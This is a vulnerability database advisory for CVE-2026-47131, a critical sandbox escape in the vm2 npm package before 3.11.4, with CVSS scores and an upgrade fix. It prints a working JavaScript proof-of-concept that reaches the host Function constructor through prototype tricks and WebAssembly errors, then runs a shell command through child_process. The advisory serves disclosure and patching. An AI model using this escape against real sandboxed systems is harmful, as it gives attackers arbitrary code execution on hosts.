Mend.io Vulnerability Database
The largest open source vulnerability database
What is a Vulnerability ID?
New vulnerability? Tell us about it!
CVE-2026-47131
Published:May 31, 2026
Updated:May 31, 2026
Summary By combining "Buffer.call.call({}.lookupGetter, Buffer, "proto")", "Buffer.call.call({}.lookupSetter, Buffer, "proto")", and Node.js's "ERR_INVALID_ARG_TYPE" Error, the host's "TypeError" constructor can be obtained, which allows the escape from the sandbox. This allows attackers to run arbitrary code. PoC "use strict"; const { VM } = require("vm2"); const vm = new VM(); vm.run(""use strict"; const getProto = Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__"); const setProto = Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__"); async function f() { try { await WebAssembly.compileStreaming(); } catch(e) { setProto.call(getProto.call(e), null); } try { await WebAssembly.compileStreaming(); } catch(e) { const HostFunction = e.constructor.constructor; new HostFunction("return process")().mainModule.require("child_process").execSync("echo pwned", { stdio: "inherit" }); } } f();"); Impact Sandbox Escape → RCE
Affected Packages
vm2 (NPM):
Affected version(s) >=0.1.0 <3.11.4
Fix Suggestion:
Update to version 3.11.4
Do you need more information?
Contact Us
CVSS v4
Base Score:
10
Attack Vector
NETWORK
Attack Complexity
LOW
Attack Requirements
NONE
Privileges Required
NONE
User Interaction
NONE
Vulnerable System Confidentiality
HIGH
Vulnerable System Integrity
HIGH
Vulnerable System Availability
HIGH
Subsequent System Confidentiality
HIGH
Subsequent System Integrity
HIGH
Subsequent System Availability
HIGH
CVSS v3
Base Score:
10
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
CHANGED
Confidentiality
HIGH
Integrity
HIGH
Availability
HIGH
Weakness Type (CWE)
Improper Control of Dynamically-Managed Code Resources